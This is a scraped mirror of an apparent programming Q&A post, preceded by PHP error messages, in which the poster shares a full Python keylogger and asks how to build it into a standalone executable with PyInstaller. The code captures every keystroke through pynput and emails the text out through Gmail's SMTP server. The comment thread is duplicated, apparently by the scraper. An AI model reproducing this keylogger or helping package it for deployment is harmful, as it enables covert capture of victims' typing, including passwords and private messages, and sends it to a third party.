Warning: file_get_contents(/data/phpspider/zhask/data//catemap/2/python/292.json): failed to open stream: No such file or directory in /data/phpspider/zhask/libs/function.php on line 167

Warning: Invalid argument supplied for foreach() in /data/phpspider/zhask/libs/tag.function.php on line 1116

Notice: Undefined index: in /data/phpspider/zhask/libs/function.php on line 180

Warning: array_chunk() expects parameter 1 to be array, null given in /data/phpspider/zhask/libs/function.php on line 181
Python 如何将.py/.pyw转换为独立的可执行文件?_Python_Pyinstaller_Executable_Malware - Fatal编程技术网

Python 如何将.py/.pyw转换为独立的可执行文件?

Python 如何将.py/.pyw转换为独立的可执行文件?,python,pyinstaller,executable,malware,Python,Pyinstaller,Executable,Malware,我制作了一个简单的键记录程序,但是我无法创建一个运行正常的exec文件 import smtplib from pynput.keyboard import Key, Listener email = 'redacted' password = 'redacted' server = smtplib.SMTP_SSL('smtp.gmail.com', 465) server.login(email, password) full_log = '' word = '' email_char

我制作了一个简单的键记录程序,但是我无法创建一个运行正常的exec文件

import smtplib

from pynput.keyboard import Key, Listener

email = 'redacted'
password = 'redacted'
server = smtplib.SMTP_SSL('smtp.gmail.com', 465)
server.login(email, password)

full_log = ''
word = ''
email_char = 10

def on_press(key):
    global word
    global full_log
    global email
    global email_char
    if key == Key.space or key == Key.enter:
        word += ' '
        full_log += word
        word = ''
        if len(full_log) >= email_char:
            send_log()
            full_log = ''
    elif key == Key.backspace:
        word = word[:-1]
    else:
        char = f'{key}'
        char = char[1:-1]
        word += char
    if key == Key.esc:
        return False

def send_log():
    server.sendmail(
        email,
        email,
        full_log
    )

with Listener(on_press=on_press) as listener:
    listener.join()

print(''' .----------------.  .----------------.  .----------------.  .----------------. 
| .--------------. || .--------------. || .--------------. || .--------------. |
| | ____    ____ | || |      __      | || | _____  _____ | || |   _____      | |
| ||_   \  /   _|| || |     /  \     | || ||_   _||_   _|| || |  |_   _|     | |
| |  |   \/   |  | || |    / /\ \    | || |  | |    | |  | || |    | |       | |
| |  | |\  /| |  | || |   / ____ \   | || |  | '    ' |  | || |    | |   _   | |
| | _| |_\/_| |_ | || | _/ /    \ \_ | || |   \ `--' /   | || |   _| |__/ |  | |
| ||_____||_____|| || ||____|  |____|| || |    `.__.'    | || |  |________|  | |
| |              | || |              | || |              | || |              | |
| '--------------' || '--------------' || '--------------' || '--------------' |
 '----------------'  '----------------'  '----------------'  '----------------' ''')

input()
我尝试使用pyinstaller,但生成的exec文件立即崩溃或出现致命错误。 感谢您的帮助!谢谢你的耐心!
编辑:致命错误是“未能执行脚本[程序名]”

“…给出致命错误。”--好吧,如果您的问题中包含了上述错误,那么我们也许可以帮助您。对于像这家伙这样的软件硬件,我深表歉意^。贾斯汀,我确信提供这个错误确实有助于理解问题!这个code.py脚本运行正常吗?是的,python文件运行良好,邮件也运行良好。您应该阅读-这里有很多问题“为什么我的pyinstaller exe崩溃?”所以请进行更多搜索。“…给出致命错误。”--好,如果你的问题中包含了上述错误,那么也许我们可以帮助你。很抱歉像这个家伙这样的SOF hardos ^。贾斯汀,我确信提供这个错误确实有助于理解问题!这个code.py脚本运行正常吗?是的,python文件运行良好,邮件也运行良好。您应该阅读-这里有很多问题“为什么我的pyinstaller exe崩溃?”所以请进行更多搜索。